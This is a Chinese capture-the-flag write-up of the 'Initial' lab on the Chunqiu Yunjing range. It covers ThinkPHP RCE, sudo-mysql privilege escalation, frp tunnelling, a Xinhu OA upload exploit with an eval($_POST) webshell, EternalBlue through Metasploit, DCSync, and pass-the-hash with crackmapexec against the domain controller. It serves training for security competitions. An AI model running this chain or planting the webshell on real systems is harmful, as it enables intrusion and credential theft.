写在最前面
一直都知道渗透在网络安全中的重要性,可是一直都没用重视,于是在国赛决赛吃大亏。平时自己也在打打 vulnhub
,但打的都是一些十分简单的靶场。国赛决赛结束后我就开始push校队的人去学习渗透,当然我这个新上任的队长肯定要起到带头作用,所以我也开始去练习春秋云境的靶场。很多人认为云境这个靶场比较贵,但是我认为能够用钱买知识是一件很划算的事情,而且春秋云境的靶场质量也比较高(还有国赛渗透也有很多内容来自这里面)
这篇文章是关于 Initial
这个靶机的详细讲解,这个是云境中最简单的一题,同时也是我打的第一个关于 windows
渗透的题目,因此学到了很多的东西。
详细讲解
flag1
题目给出了一个ip地址 39.99.255.153
,我们可以使用 nmap
来看看他开启了那些端口,命令为:
1 | sudo nmap --min-rate 10000 39.99.255.153 |
这段命令是以最小速率 10000
对全部端口(1-65535)进行扫描,10000
是权衡的结果,数字过大扫描速度快,但容易遗漏端口,数字过小则扫描时间过长,经验表明 10000
就是扫描的合适速度。-p
是端口参数,-p-
表示对所有端口进行扫描。扫描结果如下:
可以看到开启了 22
、80
端口,22
端口是一个 ssh
服务,80
端口是一个 http
服务,接下来我们可以查看这个几个端口开启的服务和操作系统版本,命令如下:
1 | nmap –sT –sV -O –p22,80 39.99.255.153 |
其中 -sT
表示进行 TCP
扫描(三次握手),-p
表示待扫描的端口(后跟待扫描的端口 22
、80
),-sV
表示探测开放服务的版本,-O
表示探测操作系统版本,扫描结果如下:
可以看到这个ip是一台 ubuntu linux
服务器,好像也没有什么有用的信息,想到还有一个非常好用的扫描工具 fscan
,工具的下载地址为:
shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 (github.com)
这个工具有linux和windows版本,其具体用法可以看官方的文档,这里只用于进行简单的端口扫描,输入:
1 | .\fscan -h 39.99.255.153 |
结果如下:
可以看到 web server
的版本是 ThinkPHP 5.0.23
,而且存在漏洞!!!
当然也可以使用nmap
命令来进行漏洞扫描,命令如下:
1 | nmap --script=vuln -p22,80 39.99.255.153 |
这里使用 ThinkphpGUI
这个开源工具来进行扫一下,工具链接为:
Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。 (github.com)
输入 url
和选择版本后点击检测和 GetShell
即可,结果如下:
可以到网页存在一个后门,还有一个漏洞利用的 poc
,我们利用他给的 poc
来写入 shell.php
后门
好像也没有什么回显,于是我们直接使用蚁剑来连他自带的后门:
成功连接,而且我们能看见当前目录下有一个 shell.php
文件
点开可以发现其就是我们利用 poc
上传的后门,不过问题不大,能进来就行,接下来就是需要提取,我们先看一下自己是什么权限:
可以看见是 www-data
权限,可是输入 sudo -l
时回显
(root) NOPASSWD: /usr/bin/mysql
这说明我们可以通过通过 sudo
高权限运行 mysql
,进而能够执行 root
权 限才能执行的命令,可以参考下面这篇文章,里面也有讲很多种提取的方法
渗透测试:Linux提权精讲(三)之sudo方法第三期_nmap sudo 提权-CSDN博客
于是我们就能很容易的获取到 flag1
,可以发现 flag1
在 /root/flag
目录下
flag2
接下来就是要考虑内网横向移动,我们的最终目的是获取域控上的 flag
,我们先用蚁剑上传 fscan
,扫描一下内网中有那些存活机器
这里要记得给 fscan
执行权限,否则会执行不了
通过 ip a
我们可以发现网段为 172.22.1.0/24
扫描的结果会自动存在当前目录的 result.txt
文件上
于是我们搜集到如下信息:
172.22.1.2:DC域控
172.22.1.21:Windows的机器并且存在MS17-010 漏洞
172.22.1.18:信呼OA办公系统
而我们的最终目标即为 DC
域控
我们搜先是对 OA
办公系统进行攻击,在这之前我们要先进行内网穿透,其目的是使我们能够在攻击机访问内网的服务,这里我们需要一台 vps
和工具 frp
,学过web的师傅都知道 vps
是什么,这里就不做解释,frp
的相关知识也请读者自行学习,这里只做简单的介绍。frp
的下载地址为,有linux和windows版本:
fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. (github.com)
该工具的目录如下:
其中 frpc
和 frps
是可执行文件,我们需要将 frps
和 frps.ini
上传到我们的 vps
,frpc
和 frpc.ini
上传到我们的靶机
下面是我相关文件的配置
frpc.ini:
1 | [common] |
frps.ini:
1 | [common] |
这里要确保你的 vps
开启了 7000
和 798
端口
然后在靶机执行:
1 | ./frpc -c frpc.ini |
在 vps
执行:
1 | ./frps -c frps.ini |
最后在攻击机你自己的电脑上(windows
,不是 kali
,kali
的配置方法在后面有讲)使用 Proxy Servers
配置 socks5
代理即可
其原理我不懂,学院到现在还没有教计算机网络,加上我一个纯pwn手也没去研究这种东西(其实是我懒),请师傅们轻点骂 :-(
最后还要在 Proxy Servers
上配置一下 Proxificantion Rule
,吧除了刚配置的那一项以外的全部勾勾去掉,不然还是会访问不了,原理还是不知道🤔
配置完后就能直接在浏览器中输入 172.22.1.18
进行访问了,可以看到该系统的版本是 2.2.8
(这个是重点,可以通过搜索系统的版本号看看有没有已经给发现的漏洞)
这里存在一个弱口令,admin/admin123。
登录后就是 web
手的事情了,这个系统存在文件上传漏洞,有直接的 poc
,这里我直接参考:
[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_信呼协同办公系统弱口令-CSDN博客
exp.py:
1 | import requests |
相同目录下还有一个 1.php
文件存的是一句话木马
1.php:
1 | eval($_POST["1"]); |
运行后可以看到文件上传的路径:
然后直接蚁剑连接:
连接成功:
可以看到已经拥有了 system
权限,我们直接在 Administrator
用户的目录下找到 flag2
flag3
接下来我们就对 ip 172.22.1.21
进行渗透,这里需要用到渗透框架 Metasploit Framework
,kali
自带这个框架,这里的攻击机我选用 kali
(windows也可以安装Metasploit Framework,不过上面我说过也要讲讲如何在kali设置代理)。我们首先要在 kali
中设置 socks5
代理,否则我们无法访问其内网的环境。
在 kali
中设置代理比 windows
简单很多,他自带了一个 proxychains4
工具,我们只需要编辑 etc
目录下的 proxychians4.conf
文件:
在最下面的 ProxyList
上加上 socks5 vps ip 端口
即可
然后就能在浏览器中访问靶机内网的 172.22.1.*
那三台机器了
在上面用 fscan
的扫描中我们发现该机子存在 MS17-010
漏洞,这个就是大名鼎鼎的永恒之蓝漏洞
我们先在 kali
输入 msfconsole
启动 Metasploit Framework
(后面简称 msf
)
可以看见界面十分的酷炫,而且每次启动 msf
时这个图片都会不一样
输入 search ms17-010
搜索 ms17-010
相关模块,可以看到一共找到了 4
个不同的模块:
这里我们选择使用第一个模块,因为他影响是版本比较多,然后接下来依次输入以下命令来发起永恒之蓝攻击:
1 | use exploit/windows/smb/ms17_010_eternalblue # 选择使用的模块 |
运行成功会出现meterpreter>
该 Meterpreter
是 metasploit
的一个扩展模块,可以调用 metasploit
的一些功能,对目标系统进行更深入的渗透,入获取屏幕、上传/下载文件、创建持久后门等。
下面介绍一些该模块常用的命令:
1 | meterpreter > screenshot # 捕获屏幕 |
紧接着上图,可以发现我们已经成功的打进该主机,遗憾的是该机子上并没有 flag
,也就是说我们最后的flag
在 windows DC
域控制器上面
接下来是进行 DCSync
攻击,这里简单解释一下:
首先,什么是 DCSync
在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash
也就是说我们可以通过 DCSync
来导出所有用户的 hash
然后进行哈希传递攻击,要想使用 DCSync
必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
现在我们回到一开始 fscan
的扫描结果:
我们可以看到我们用永恒之蓝打下的这台机子是 enterprise
用户,也就是说满足 DCSync
攻击的条件,于是我们在 msf
中依次输入以下命令来获取用户的 hash
1 | load kiwi # 调用mimikatz模块 |
结果如下:
这里我们比较关注是 Administrator
用户的 hash
,接下来我们使用 crackmapexec
来进行哈希传递攻击,来实现 DC域控
上的任意命令执行,通过以下命令来获取 flag3
1 | crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" |
最终 flag
为 flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}
总结
感觉这种渗透和穿透的web还是有一点区别,从外网打进内网的过程要第一步要做的不是自己去寻找和日漏洞,而是看看系统有没有历史遗留的漏洞以及是否有现成的exp进行攻击。打国决的时候有的队伍拿着现成的exp直接开局2分钟就打进内网了,而我们队伍就和做传统web题目一样一步一步的打,耗费了很多时间才打进去,非常的吃亏。
在打这个靶场中花费时间最多的是用 frp
进行内网穿透,主要是我理解能力比较差,网上的文章看的似懂非懂的。期间还请教了unknown师傅和panz0e师傅,然后某人就因为这件事情没完成上班任务😂😂😂😂😂
虽然靶场比较简单,可是还是花费了我许多的时间,还是Csome师兄说的那句话:“菜就多练”,这一年打算多练练渗透,希望明年国赛不会留下遗憾
参考:
域渗透——DCSync (3gstudent.github.io)
春秋云境Initial-WP(附带详细代理过程)_lnitial靶机-CSDN博客
MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法-CSDN博客
[原创]MS17-010 “永恒之蓝”漏洞分析与复现-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
内网渗透|谈谈HASH传递那些世人皆知的事-腾讯云开发者社区-腾讯云 (tencent.com)